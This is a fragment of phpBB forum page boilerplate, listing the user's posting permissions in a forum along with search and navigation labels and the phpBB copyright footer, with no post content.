You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot post attachments in this forum

Search for:
Jump to:  
Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group